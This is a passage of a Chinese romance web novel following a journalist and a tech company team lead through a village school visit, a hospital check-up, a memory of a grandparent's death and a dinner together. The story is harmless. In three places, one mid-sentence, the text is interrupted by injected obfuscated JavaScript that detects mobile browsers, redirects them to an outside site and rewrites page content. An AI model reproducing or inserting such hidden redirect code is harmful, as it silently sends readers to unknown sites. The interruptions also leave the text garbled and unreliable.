然后江成川又问服务员有没有甜口的可以推荐,于是点了烤蜜薯和蓝莓山药,又加了个紫菜蛋花汤。 他还记着,上学的时候汤冉冉爱吃甜。 那是高二下,期末考完试后老班提出班级聚餐,原因是高三文理分科后将重新编班,文科生和理科生不在一栋教学楼,即便同是理科生也不一定能继续同班。 所以为了纪念两年的高中情,老班发话聚餐一个都不准少,她来买单。 班长把聚餐定在了南城中学附近的一家披萨店,还好是工作日的中午,要不全班四十来号人还真不一定全能坐下。 关系好的四五个人聚在一桌,江成川和汤冉冉隔了三个小桌,他能看见汤冉冉的半张侧脸。 披萨店放着热情奔放的外文歌,店员忙得脚不沾地,送餐到桌上时不忘附带一句“用餐愉快!” 江成川拿起一角披萨,咬了口尖儿,浓郁的意式肉酱味席卷味蕾,就是有点咸。 他拿起桌上成杯的可乐,借低头找吸管儿的功夫,偷偷用余光往汤冉冉那桌瞄。 她的餐盘里没有披萨,也没有意面,而是一块黑森林蛋糕。 汤冉冉拿着叉子先把蛋糕顶上的酒渍樱桃轻轻铲起来放到嘴里,然后从上到下小心翼翼地切着蛋糕体吃。 江成川隔一会就往她那桌瞅一眼,现在是第二块,抹茶流心慕斯蛋糕…… 那顿聚餐,汤冉冉吃了三块小蛋糕,这让江成川坚定地认为她是甜食爱好者。 章泉大饭店内,四个人忙活了一上午已经饿得不行,还没等菜上齐,就抓紧动筷子了。 果然,汤冉冉对蓝莓山药青睐有加,只要这道菜转到她面前,她就拿勺子挖一块搁到自己的盘子里。 虽说镇上的餐饮条件有限,但四个人风卷残云,做到了基本光盘。 结账时,老板客气问:“几位吃得还行?” 他们连说味道不错,量大实惠,完全不输那些必吃餐馆,江成川还煞有介事地补了一句,“蓝莓山药可以五星好评。” 从饭店出来,四个人溜达着去了镇上一家便民超市,买了一箱牛奶,一箱酸奶,两提鸡蛋和一个零食大礼包。 下午的安排很简单,汤冉冉去小浩天家采访,李浩天就是那个给江成川发短信的小男孩,江成川他们也顺道去看看。 小浩天家和南崖一小就相差几步路远,他们还把车停在了早上来的位置,提着东西走过去。 隔着一段距离,一个小男孩跳着朝他们使劲招手,放开了嗓子喊:“江叔叔,江叔叔——” 汤冉冉听到这个称呼,噗嗤笑了出来,然后上下打量了江成川一眼,问:“江组长,你这么显老吗?” “哎这我有发言权,汤记者,你知道为啥吗?”周栋好了伤疤忘了疼,又开始满嘴跑火车,“我们川哥走的是老干部风,公司里的好多小女生都是他迷妹呢。” 要不是江成川两手都提了东西,绝对会上前捂住周栋的嘴巴,怎么可能放任他一句接着一句地快把自己的老底都抖搂干净了。 “老干部风?哈哈——”汤冉冉笑着看了江成川一眼。 “别听他胡说。”江成川声音淡淡的,脸上没什么表情,只是脚步明显加快了。 进屋之后,小浩天拉着江成川他们坐到沙发上,又跑到里屋喊人,“妈——江叔叔他们到啦!” “哎——来了来了!”女人的声音柔软纤细。 门帘撩起,汤冉冉注视着从里面走出来的女人,体态小巧,身形瘦削,穿一件布料长袖,袖口还沾着水,双手端了一盘切好的大红苹果。 等女人走近了些,汤冉冉才发现她面色微微发黄,嘴唇因为缺水而起皮,端盘子的一双手粗砺干燥。 她把苹果放到旧木桌子上,有点不好意思地说:“欢迎你们来,还拿了这么多东西,家里也没有什么好招待的,苹果是村里种的,放心吃。” 小浩天从桌上拿起一块苹果递到江成川嘴边,特别乖地说:“江叔叔,你吃。”然后又跑回女人身边,偎在她的后背上,只露出一双眼睛滴溜溜地看着汤冉冉,小浩天觉得眼生。 江成川嚼了口苹果,正式开口说:“浩天妈妈,打扰你们了,这位是咱们南城日报的汤记者,有些关于南小教学的事情想和您聊聊。”说完给了汤冉冉一个“你接上”的眼神。 “对的,您不用紧张,想到哪说哪,就当是聊天。”汤冉冉会意,“对了,怎么称呼您?” “我姓柳,柳如意,你们喊我如意就行。” “如意姐,小浩天有和你说过南崖一小今年的变化吗?” …… 汤冉冉在采访,周栋和玉婷找了地方整理早上的回访记录,江成川一手拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925367|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着零食大礼包,一手牵着小浩天去了院里。 两个人找了个马扎坐下,江成川问小浩天:“最近学习怎么样,有没有听老师的话?” “我可听话了,江叔叔,”小浩天信誓旦旦,“不信我给你拿我的作业本看,上面都是红勾勾呢。” “好,红勾勾好,小浩天真棒!”江成川笑着拍了拍他的肩膀,又问,“那妈妈呢,妈妈身体怎么样?” 听到这句,小浩天眉毛一耷拉,情绪一下子就变了,低声说:“……妈妈……她总说心里头憋得慌、犯晕,难受的时候会在里屋一直躺着……吃不下饭。” “那小浩天不写作业的时候,要多和妈妈说说话,更不能惹她生气,明白吗?”江成川温柔地告诉他。 “嗯!我知道,但是江叔叔,妈妈是生病了吗?” 江成川不知道怎么回答,撕开了一包薯片递给小浩天,摸着他的额头说:“妈妈不会一直这样的,小浩天好好学习,就能让妈妈开心。” 在外面又待了半个钟头,两个人就回屋去了,汤冉冉那边也聊得差不多了。 柳如意让他们再吃点水果,留他们多待一会,江成川说时间不早了,还得赶回南城。 “如意姐,别送了,下次有时间再来找您聊天。”汤冉冉边走边回身,摆着手说再见。 回程的路上,依然是江成川开车,汤冉冉坐副驾。 坐到车里时,才感觉疲乏上身,汤冉冉从车内后视镜一看,周栋和玉婷都在后排打起了盹。 她又看了一眼江成川,和早上一样似乎没什么疲态,可又担心他开车久了会犯困,所以汤冉冉十分贴心地选择强打着精神,刷着手机不敢睡。 江成川看她没打算休息,思量了下开玩笑问:“汤记者,现在可以说了吗?” “啊?”汤冉冉先是一愣,接着反应过来他问的是什么,故作生气地回他,“你都不说,我怎么说?” 这下换成江成川愣住了,“我?” “今天李校长告诉我,你在南崖一小支教过,采访你的时候怎么不说?” 原来是这件事,江成川不是有意隐瞒。 “现在解释……还来得及吗?” “请讲吧,江老师。”汤冉冉逗他。 江成川降了些车速,认真回答:“我是觉得能给南小捐赠是公司行为,如果关于我个人的方面叙述太多,可能会误导你,让你产生是我在促成这件事的错觉。” 停顿了一下,又补了一句,“其实,我不太赞成个人英雄主义。”说完他扭头看向汤冉冉,眼神像是在问“这个解释可以吗?” “可是……你就是做得很好呀……”汤冉冉当然没把这句话说出口,只冲他比了个OK的手势,表示懂了。 她又想起来另外一件事,有些奇怪地问:“如意姐的身体一直是这样吗?采访的时候,我看她经常捂着胸口顺气……” “之前听李校长提起过,说浩天刚出生没多久,如意姐的丈夫为了多挣点钱跑去县城打工,结果出了意外走了,这件事对如意姐的打击特别大,加上当时浩天又小,她一个人积劳成疾……” “那没去医院看看吗?” “去了,但县医院水平有限,只怀疑说是心脏的问题,再具体的就查不出来了,给开了些安神静心的药。”江成川说完,叹了口气。 汤冉冉沉默了会,然后想出来个法子,“要不下次有机会,带如意姐去南城看看吧,我认识南城医院的一个医生,他对病人很负责。” “好。”江成川嘴上答应,但莫名神经一紧,装作随口问,“是采访认识的?” “不,相亲。” 12. K歌之王 从南崖村回来后,汤冉冉周日白天闷头睡了一整天,晚上又于心不安地爬起来写稿子。 礼拜一到了报社,她先和秦主任汇报了采访情况,并承诺明天下班前一定交稿。 然后打着哈欠回了工位,乔小童看她无精打采的样子,凑过去关心问:“咋啦?小汤姐,周末没休息好吗……” “还不是为了那篇蹲点,”汤冉冉停下敲键盘的手,撑着脑袋感叹道,“周六去了趟南崖村,出差累人啊……” “啊?要是当天来回,确实不轻快。”乔小童深表同情,虽然她入行晚,但当记者的苦头一点没少吃,加上现在出去采访经常要求顺便拍个视频,简直变身能写会拍的全媒体人才。 “对了,明天的单位体检你别忘了啊,主任刚从群里通知了。”乔小童想起来提醒她。 “啥体检?”果然,汤冉冉一脸问号。 “就前一阵统计的,我记着咱俩当时都选的去南城医院检,别的医院还没开始呢。” 汤冉冉满脑子光想着明天要交稿,竟把查体这茬给忘了,潦草回了句,“好好好——知道了!” 一个事接着一个事,她恨不能把自己劈成两半儿,一个待在单位写稿,一个去医院体检。 “小汤姐,fighting!”乔小童看她火烧眉毛的架势也不好多说什么,安慰了一句,转身忙自己的去了。 另一边,江成川的日子也不好过,但和工作无关。 从他这两天的搜索记录和浏览历史可得,“南城医院心内科”是一个高频检索项,南城医院的官网是最近常打开的网页,除此之外,还有南城医院的官微和公号等社交平台。 汤冉冉一句“相亲认识的”,足以激发起江成川的好奇心和危机感,尽管她当时在车里立马就解释了。 “但我俩不合适,他太忙了,我也没有动心的感觉,就当朋友挺好的。” “他也这么想的吗?”江成川更在意这一点。 “是啊,之前他约我出来但突然有手术就取消了,结果我恰好又被安排去医院采访。”汤冉冉说得很坦然,“所以我俩就聊了一次,他不喜欢工作和感情有太多交集……” “那……你会介意吗?”江成川小心翼翼地问。 “什么?” “工作关系和私人感情。” “我还好吧,其实分人分情况,暂时的混沌不清也是一种迷人的状态吧?” 确实,就像江成川现在的心情。 办公室里,他盯着电脑屏幕上显示的几张证件照,来自南城医院官网的心内科医生专栏,先排除掉几位女士,再排除掉简历详情里和汤冉冉年龄差太多的男士。 最后,只剩两张了。 他又点进官网的媒体动态那一栏,逐页逐条浏览,突然光标停在一则标题为《跨越千里!南城医院心内科团队远程手术获突破》的新闻链接上。 这条新闻发布于四年前,江成川点进去发现其中一张配图是医生们的术后合影,他几乎是一眼就辨认出了和其中一张证件照上相貌一致的那位医生,报道上写,他叫任飞。 再划到文章的末尾,这篇新闻稿的来源是南城日报,署名是本报记者汤冉冉。 如此,江成川找到了汤冉冉的相亲对象,可只看了两眼,就关了页面,摇头笑了。 “江成川,你在干嘛?”像是自嘲,又像是默认。 患得患失,未拥有却怕失去,和他之前喊住周栋做美文赏析相比,有过之而无不及。 这天一直到傍晚,汤冉冉敲完了初稿,5743个字,通读了一遍没问题就发给了秦主任。 关了电脑屏幕,她从工位上站起来伸了个懒腰,肚子“咕咕”一叫才意识到晚饭还没吃,“算了,这个点了,明天体检还需要空腹。” 汤冉冉走到窗边,看着外面的万家灯火和车水马龙,想起上次这么晚留在单位还是等江成川来送录音笔。 周六从南崖回来的路上,江成川选了一条和早上不同的导航线路,下了高架后先把玉婷送回家,又把周栋送到附近的地铁口,最后是送汤冉冉回家。 车里只有他们两个人的时候,车载蓝牙连接着江成川的手机,歌单刚好切换到一首陈奕迅的《K歌之王》。 “……谁人又相信,”突然响起的导航把一句歌词唱成两半,“一生一世这肤浅对白……” 缱绻的歌声入耳,橡木苔的香气入鼻,汤冉冉偏头看江成川,感到一种极其复杂的矛盾感,既陌生又安心。 这一刻,江成川不是她的采访对象,不是组员口中的江组长,不是李校长说的江老师,更不会是南城中学的江同学。 他是汤冉冉的眼前人,是海面上的一轮月亮。 车子停稳后,江成川解了安全带要下车送她,“不用了,你也快回去吧,今天,谢谢你。”汤冉冉比他动作快地下了车关上车门,弯腰透过车窗和他说再见。 江成川没有勉强,“好,早点休息,下次见。”叮嘱她路上小心,到家发个消息。 周二一大早,南城医院健康体检中心,预约团体体检的前台人头攒动,旁边的电子显示屏上滚动播放着窗口抽血序号。 “这儿!小汤姐!”乔小童一嗓子叫住了汤冉冉,看她手上拿着一长串的检查项目单,关心问,“你刚来啊,上午能全查完可够呛!” “没事儿,”汤冉冉一脸轻松,“昨天把稿子交上心里就踏实了,时间绰绰有余~” “那行,小汤姐,你先去抽血那个速度快。”乔小童给她指了一下验血的窗口,然后生无可恋地说,“走了,我去喝水憋尿了……” 汤冉冉不慌不忙地先去抽了血,然后取尿,再去做腹部彩超,查完了空腹项目,她先去医院餐厅吃了个早饭。 “真香!人不能离开碳水啊~”准确地说,汤冉冉从昨天下午就没怎么吃东西,饿到现在啃上一口热乎馒头都觉得是珍馐美味。 吃饱喝足后,她又去检查了内科外科,心电图,胸部CT,最后才去做了妇科彩超,全部搞定的时候已经快下午两点。 快要走出医院大门的时候,她想起来件事,掏出手机发了条微信: “任医生,你今天在医院吗?” 医院门口人来人往,年长的、年幼的,拿着片子的、抱着被褥的,每一张面孔看起来都是那么严肃。外地车牌的私家车从前面路口的信号灯就开始排队,1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925368|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 20救护车闪着灯鸣着笛,一阵疾驰开来又疾驰而去…… 这样的场景每天都在这个城市上演,汤冉冉心里有些说不上来的无力,找了个角落等任飞的消息。 “在,你来医院了?” “嗯,有个事想麻烦你,现在方便吗?” “来住院部楼下吧,我在这等你。” “好。” 汤冉冉掉头回了医院,住院部在门诊楼后面,她绕过去的时候看到任医生正和病人家属说话,听不清说的什么,只注意到病人家属很激动地握住任飞的手,迟迟不肯松开。 在树林下等了一会,汤冉冉看他们对话结束,才走过去打了个招呼:“打扰你了,任医生。” “怎么会,跟我还客气。”任飞话里带笑,询问道,“怎么是身体不舒服吗?” “哦不是,是我最近采访遇到的一个小孩子的妈妈,”汤冉冉试图把柳如意的病情说得清晰,“她在县城做的检查说是心脏有问题,但医生没有给出更准确的诊断,现在就是难受得厉害了,她就吃点缓解的药……” 任飞听明白了,汤冉冉是想做好事但又因为医学专业壁垒,没办法只能向他求助来了。 “这样啊……”任医生思索片刻,“严格来说,我不能通过你的描述来给出结论,对病人来说也会带来误诊的风险,最好的办法是能让她来医院检查一下。” 汤冉冉其实能猜到会是这个答案,还是不死心地问:“就没有其他办法了吗?” 任医生有些为难,但还是开口了,“你知道是具体哪个医院吗,我可以尝试联系一下问问病人的情况,但不能作为医学诊断。” 接着他又补充说:“如果是担心费用问题的话,可以申请医疗救助,当然我还是建议她来南城医院进行系统规范的治疗。” 汤冉冉听了之后,心情难免变得有些低落,声音沉沉地说:“谢谢你啊,任医生,我会转达给她的。” “不客气。”任医生双手插进白大褂的口袋,换了轻松的语气安慰道,“你的心情我能理解,但医学解决不了所有问题,尽力就好,有情况再随时联系我。” “好,我明白。”汤冉冉再次表达谢意后,转身离开了医院。 想着下午也没什么事了,汤冉冉直接回了家,宋舒给她开门的时候一眼就觉察出她心不在焉,忙问:“怎么了,闺女?” “没事儿妈,查体人太多,挤得心烦……”汤冉冉换了鞋就想往自己屋里去,宋舒拦住她问:“结果出了吗,有需要复查的吗?” 看来是逃不过了,汤冉冉掏出手机点开医院的微信公号,发现已经能查询到实时上传的各项检查信息了,她扫了一眼之后递给宋舒,“妈,给您过目……” 宋舒看不懂医学名词,但化验单上那些上升下降的箭头已经够她着急的了,“闺女啊,你这肝功能指标怎么这么高啊,说了不让你熬夜,还有你这甲状腺结节都3a了!” 汤冉冉一言不发,直到母亲大人给了句结案陈词,“闺女,要不咱换个工作吧?你这整天出差不着家,吃饭睡觉全乱套了……” 她才终于开口:“妈,别的都好商量,换工作我没想过,你知道的……” 13. 派克钢笔 晚饭后,汤冉冉回了卧室,脚上的拖鞋随便一踢,整个人栽倒进懒人沙发里。 “闺女,要不咱换个工作吧?”宋舒的话在脑子里响了一遍又一遍。 汤冉冉凭感觉伸手臂够了一下桌面,一个浅黄色相框应声滑落到她的怀里,上面装裱的是她在南城日报发表的第一篇稿子,被编辑修改到只剩四百来字,业内人称“豆腐块”。 严格意义上说,那不是她正式踏入新闻行业的见证,却在日后的许多个彷徨时刻提醒她初心可鉴。 人总要对什么事情有执念的话,在汤冉冉这里,当记者算一个。 在南城大学读新闻的四年,她像一块海绵一样吸收汲取,学习新闻史、新闻采写、新闻编辑、新闻评论…… 不做考前临时抱佛脚的选手,而要坐在每门专业课的教室前排,汤冉冉想和内心渴求的知识离得近一点、再近一点。 付出产生回报,努力学习可以顺其自然地收获知识,但生命中总有努力掌控不了的事。 汤冉冉抚摸着相框的棱角,到现在还是会自责晚了一步…… 大三暑假,院新闻系的老师推荐汤冉冉到南城日报做实习记者,接到这个消息后,她的内心比那个夏天正午的阳光还要火热。 “爷爷奶奶,你们要在报纸上看到我写的东西了!”汤冉冉一回家就冲进老两口的屋里,像个小孩子一样叽叽喳喳地汇报了这个好消息,说话间高高的马尾跟着飒飒摆动,也像沾了喜气。 “嗬——我孙女真争气!”爷爷笑呵呵地起身,从口袋里摸出钥匙打开了书桌的第二个抽屉,拿出一个手掌大小的硬纸盒递给她,说,“打开看看吧。” 盒盖“嗒”一声打开,里面是一支派克钢笔,外观是黑金色,笔身设计沉稳大气。 “爷爷……这是?”汤冉冉拿出钢笔握在手里,重量刚刚好。奶奶看她爱不释手的样子,捂着嘴笑也不解释,显然早就知道抽屉里藏了一支钢笔。 “是我和你奶奶给你准备的入职礼物,本来没想现在给你,看来到时候还要再给我们冉冉买一份喽~”爷爷的语气中满是宠爱。 汤冉冉鼻尖一酸,就差竖起三根手指发誓了,话音带着微弱的哭腔,“我一定好好实习,写很多篇稿子给你们看……” “瞅瞅多大的人了,怎么还哭鼻子?”奶奶笑着颤巍巍抬手,轻轻拍着汤冉冉的后背,催促说,“行了行了,也把好事和你爸妈说说去……” 之后实习的每一天,汤冉冉都把钢笔塞进背包的内侧拉链口袋里,她没舍得用,只是放在身边就会产生满满动力。 半个月后,带她的记者老师提出可以独立写一篇稿子试试,检验下实习的阶段性成果,汤冉冉兴奋地和宋舒说了一声自己要晚一会回家,要留在报社把稿子写完。 那一天的黄昏,独属于夏天的晚霞把天空烧得通红,汤冉冉在冷气充足的报社大楼里却难以静下心来。 突然,一阵熟悉的铃声响起,是宋舒打来的,她接起,“喂,妈,我不是说了不回……你说什么?”听筒里还在讲,她已经蹭地从座位上跃起。 冲进电梯,浑身颤栗地盯着楼层下降的数字,电梯门一开她飞奔出去,伸手拦了一辆出租车,用尽可能平静的语气开口说:“师傅,去南城医院!麻烦快一点!” 二十五分钟后,医院急诊室,宋舒掩面倚在汤东民耸动的肩头,不知所措的汤冉冉搀着爷爷枯萎的手臂…… 这个世界上,关于戛然而止的解释又添了一笔。 在殷红的夏日傍晚,小时候会指着报纸一遍遍教她念出“本报记者”的人,永远地停留在过往的岁月里。 举办葬礼的那天,亲朋相聚,宋舒艰难维持着面色从容,像聊家常一样讲述前后经过,大概是那晚她喊婆婆吃晚饭的时候,发现人一直在睡着没醒,送到医院抢救可为时已晚。 听的人都感慨“老人有福气,没受什么罪”,年近九旬,安然离去,这是喜丧。 喜丧,汤冉冉那天听到的最多的一个词,甚至像盖棺定论一样要覆盖掉她所有的痛苦情绪。 告别仪式上,殡仪馆提供单支的菊花,汤冉冉拿了一朵放在吊唁的位置。 在主持人的串词中,她平静地完成了一项无可回避的人生课题,泪水攒聚,眼眶酸胀,她其实没想哭的。 懒人沙发里,汤冉冉坐起身抹了把脸,把相框重新放回去,像是安置一段难以忘却的记忆。 斯人已逝,幸好她还一直握着那支派克钢笔,奔跑在做一名记者的道路上…… 汤冉冉缓了一会,心情平复后准备去洗漱,这时手机响了,是江成川发来的消息。 他问:“稿子还顺利吗?” “嗯,交上了,正常情况下月底会刊发。” “那就好,注意休息。” “好,谢谢~” 聊天结束在这里,汤冉冉没有关掉聊天框,随手往上翻着她和江成川的聊天记录。从月初两个人第一次采访见面时算起,不过寥寥几页。 她向他求助寻找录音笔,她提出第二次采访,他问起琴市出差,他约定去南崖一小回访…… 你来我往,工作是他们最大的交集,等稿子发出来,采访也将正式宣告结束,关系又何以为继? 亮着一盏台灯的书房里,江成川也在琢磨这个问题。 他原本在修改明天早会的交流内容,起身倒了杯水再坐下的时候,注意到窗外的皎皎月光,突然想起来问了一句汤冉冉的工作进展,这是目前对两个人来说最自然的话题。 江成川并不流连于现在的采访关系,因为这妨碍他去施展勇气,毕竟在工作给定的合理区间里,他只能做个态度良好、积极配合的采访对象。 多问一句别的什么,都怕会显得逾矩。 勇敢不是鲁莽,比起表达自己的心意,他更想时刻照顾汤冉冉的情绪。 第二天,江成川像往常那样散了早会,正要去茶水间冲咖啡,“小江,来一下。”声音从顶头上司郑总的办公室传来,门开着,郑总看江成川路过喊了他一声。 通常来讲,三个项目小组各行其是,项目组长定期向上汇报进度,老板很少搞突然袭击。 “郑总好,请问什么事?”江成川有些忐忑地走到办公桌前。 郑总打印了一份文件递给他,然后两手交叉放在桌上,用委以重任的语气说:“香港有家科技企业想和我们合作,你挑个合适的时间去见一面,这是我们结交合作伙伴和拓展境外业务的好机会。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925369|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江成川神情一愣,顺着问,“郑总,是派我们组去吗?还是和其他小组合作一起?” “你来带队吧,人手不够的话再从其他组调配。”郑总的意思已经足够明显。 “好的,郑总。”江成川心领神会,谦虚表态说,“郑总,文件我拿回去认真研究,组内尽快形成方案给您过目。”又确认了郑总暂时没有其他吩咐后,他转身刚要走出办公室,郑总突然问: “哎对,小江,我听企划部的吴经理说上次南城日报的采访还没发出来?” 江成川回身,又往回走了几步,汇报说:“郑总,记者那边说会在本月底刊发,到时候我把链接转过来。” “好,不错,你记着这个事儿,提醒吴经理到时候也同步到智达的社交平台上。” “好的,郑总。”他这才带上门出去。 回到办公室,江成川摊开文件看,薄薄的三页纸,前两张是一份初拟的合作意向书,列明了基本的合作模式和目标计划,第三张附了这家名为盛凯科技的香港企业近几年的情况介绍,单看盈利情况,可谓势头正盛。 再结合郑总给他交代的,大致意思是盛凯科技计划推出一款适用于学前儿童的家庭AI学习机,乘着粤港澳大湾区建设的东风,了解到智达科技在业内享有一席之地,便找人牵线搭桥,抛出橄榄枝。 江成川捻着手里的几页纸,心里盘算着两个问题,为什么是交给他来干和怎么把这件事办漂亮。 这是他进入智达科技的第四年,以他的年龄搁到其他两个项目组只能当个组员,但却从去年开始实际担任了项目三组的组长。 因为智达不熬资历,准确地说是这位郑总偏爱个人能力。 智达有定期举办业务竞赛的传统,通常是各部门的新人上阵,一来是锻炼新手,二来是有些老员工对基础业务已经生疏或是完全懒得参与。 只有项目三组的分配名额里,江成川总会报上自己,他要和组员并肩战斗,更要决一高低。 江成川不认为存在放之四海而皆准的经验之谈,他要的是不断自我革新的生命力,一声“江组长”货真价实,但他另一重身份是组里的自由人,必须有居安思危的能力。 去年,公司年会尾声,众人醉的醉睡的睡,已经没有几个人还保持清醒。 郑总喝得尽兴,有些醉意地仰倒在包间的沙发上,江成川过来给他添茶水的时候,他微微起身掸落手中的烟灰,沉声喊了他一声“师弟”,江成川心中不解更不敢应声,“郑总?” “当年我看简历的时候,其实有条件比你好一些的,”郑总吞了一口茶水,“可我又看到你的毕业学校,就决定赌一把,现在看我没选错人。” 江成川和郑总是大学和研究生校友,互相差了十多岁的校友,公司里知道这层关系的人极少,如果不是被无意提起,连江成川自己都不清楚。 他不爱攀附关系,也怕辜负别人过高的期待。 同样在感情上,江成川心甘情愿地为汤冉冉搭建着彼此相处的舒适区,但在未经允许前,他不会擅自踏足半步。 就像此刻,他放下文件,拿起手机,发送了一条工作消息: “汤记者,麻烦稿件发布后转个链接给我,领导过问了。” 14. 知沟理论 两天后,蹲点版的稿件见报。 报道标题是《AI为媒,看见乡村教育的另一种可能》,开篇从小浩天的视角描述南崖一小一堂语文课的新变化,引出智慧教学工具在乡村小学的使用现状,由点及面,最后落脚到对乡村教育智慧化的展望。 在记者蹲点手记里,汤冉冉写了这样一句: “我们习惯性探索科技如何让新上加新,让好上加好,让跑得快的人更快,但却忽略了天平的另一端,忘记回头去看那些被落在后面的人。” 汤冉冉把报道链接转给了江成川,又分享到了自己的朋友圈,配文是: “蓝天之下,共同呼吸。” 报社27楼,秦主任打汤冉冉工位座机,喊她到办公室来一趟。 “主任,您找我。”汤冉冉一溜小跑过去。 “冉冉,这次稿子写得很不错,趁还来得及抓紧报个九月的月度好新闻。”秦主任和颜悦色,桌上摆着今天的报纸,正巧翻到蹲点版的那一面。 “好嘞,主任。”汤冉冉受了表扬,笑嘻嘻地回,“我会继续努力的~” 回了工位,她先拿起手机给冯璇报喜:“冯大师,折磨我的那篇蹲点终于完结,我重获自由!”光打字还不够,又连发了几个小猫wink的可爱表情。 “汤冉冉,你打住!怕不是此地无银三百两……”冯璇觉得她话里有话,“说吧,又想让我怎么帮你?” “天地良心!我这是纯粹和你分享开心!”不过这倒提醒了汤冉冉,她借坡下驴,“要是冯大师心情好,再给我支两招也不是不可以~” “我看你这脑子全用在工作上了,这不明摆着嘛……”冯璇恨铁不成钢,一语道破天机,“你就借这个机会请江成川吃饭,感谢他不厌其烦地配合采访。” “学习了,改天也请你吃饭!”汤冉冉发了个飞吻的表情包,但被冯璇勒令撤回了。 按照冯璇说的办法,汤冉冉点开江成川的微信,发现早上转给他的新闻链接还没有回。 不过正好,她接着补上一句:“你周末有时间吗,想请你吃个饭,表示感谢!” 江成川早会开得时间有点长,组员们各抒己见,讨论关于智达和香港企业盛凯的合作事宜,最后暂定国庆假期之后飞香港面谈。 散会后,他看到手机上汤冉冉的约饭邀请,眉峰一挑,十分臭屁地回了句: “却之不恭,谢谢汤记者了。” 然后心情畅快地去了茶水间,这次终于喝上一杯热气腾腾的咖啡,真香。 九月的最后一天,汤冉冉和江成川第二次单独约饭。 餐厅是汤冉冉选的,在南城市中心的一家商场里,一家湖南菜餐厅叫这湘有礼,。 午餐时间,餐厅外的等位区有些吵嚷,目测只剩几个空位,服务员出来补充了些茶水和小零食,说可以扫码预点餐。 两个人抓紧去占了个位置,“好多人啊,排到咱们得好长时间了吧……”汤冉冉有点后悔选这家餐厅了。 “没事,先看看吃什么?”江成川去找门口的服务员拿回来一张菜单,并没有表现出不耐烦,倒是好奇地问,“没想到你会喜欢湖南菜?” “你知道我名字是怎么来的吗?”汤冉冉怏怏地看着他,显然答非所问。 “嗯?” “暗柳萧萧,飞星冉冉,夜久知秋信。”莫名背出了一句宋词。 “说的是湘江?” “对!”汤冉冉霎时眼睛一亮,有了兴致,“我妈说,她和我爸年轻的时候去长沙玩,夜游湘江的导游给他们讲解的时候说了这么一句,他俩一致觉得意境很美,所以就用在了我的名字里。” “这也让你对长沙有特别的好感?”江成川已经猜到了答案。 “对~而且我看这家餐厅评分也不错,你看果然这么多人在等位。”汤冉冉心情好了很多,转而问,“那你呢,你的名字有什么讲究吗?” “嗯没有吧,不过如果可以的话,我更想叫江成海……”江成川逗她开心。 “117号顾客,请您用餐了。” “117号顾客,请您用餐了。” 餐厅门口的自助叫号机连续报了两遍。 “咱们是多少号?”江成川问。 “121号。” 又等了大概二十多分钟,自助机第四次响起时,服务员引导汤冉冉和江成川进了餐厅。 一张宽敞的四人座位,两人相对而坐。 江成川今天穿了一件蓝色条纹衬衫,头发好像刚理过,鬓角修短了些,整个人清爽利落。 汤冉冉心想这哪里是老干部风了?明明是帅气男大!周栋说的一点儿不对。 “你来点菜就好。”江成川给汤冉冉倒好茶水。 “好,那就请客随主便吧~” 外婆菜炒鸡蛋、香菜炒牛肉、干煸四季豆、糖油粑粑,汤冉冉迅速在手机上下了单。 等菜的间隙,江成川主动提起那篇蹲点报道,说:“冉冉,你写得稿子我读了好几遍,特别打动人。” “谢谢,先感动自己才能感动读者,我写稿的时候也一直在回想采访的画面……”汤冉冉喝了一口黑糖红枣茶,心里也浸了甜,“归根结底,还是因为你们做了实际的工作嘛。” 服务员端了糖油粑粑过来,江成川用公筷夹起一个放到她的菜碟里,然后开口说:“其实我们的想法也很简单,就是觉得现在媒介发展得很快,乡村教育很容易受到信息差的影响,而这些负面影响都会落到小孩子的身上。” “知沟理论?”汤冉冉咬了一口糖油粑粑,是她喜欢的热乎黏糯甜牙。 “对。”江成川点头,“让新技术尽可能触及更多的用户,可能也是我们这些搞研发的一点情怀吧……” 汤冉冉没想到江成川还懂传播学的专业词汇,看向他的眼神里多了些不自觉的钦佩。 “那你觉得AI写稿呢?就之前你们展厅里摆的那个。”汤冉冉问出心中的疑惑。 “至少现在来看,AI可以胜任一些简单的组合稿件、信息抓取的任务,但它显然缺乏一些职业精神。” “职业精神?” “对,就像咱们这次去南崖一小,AI无法替代人,像记者去观察去提问,它实现的仅是接收指令和完成指令,给出尽可能拟人化的答案。” 江成川站在专业人士的角度进行了一番客观分析,这让汤冉冉觉得很有说服力。 或许没有人能阻拦AI技术大放异彩,但新闻的核心是人,就像秦青常说的要关心新闻当中的人,怎么关心?应该是人心和人心的贴近,而不是依靠技术和代码。 一顿饭,他们基本都在聊工作,但氛围却轻松像老友。
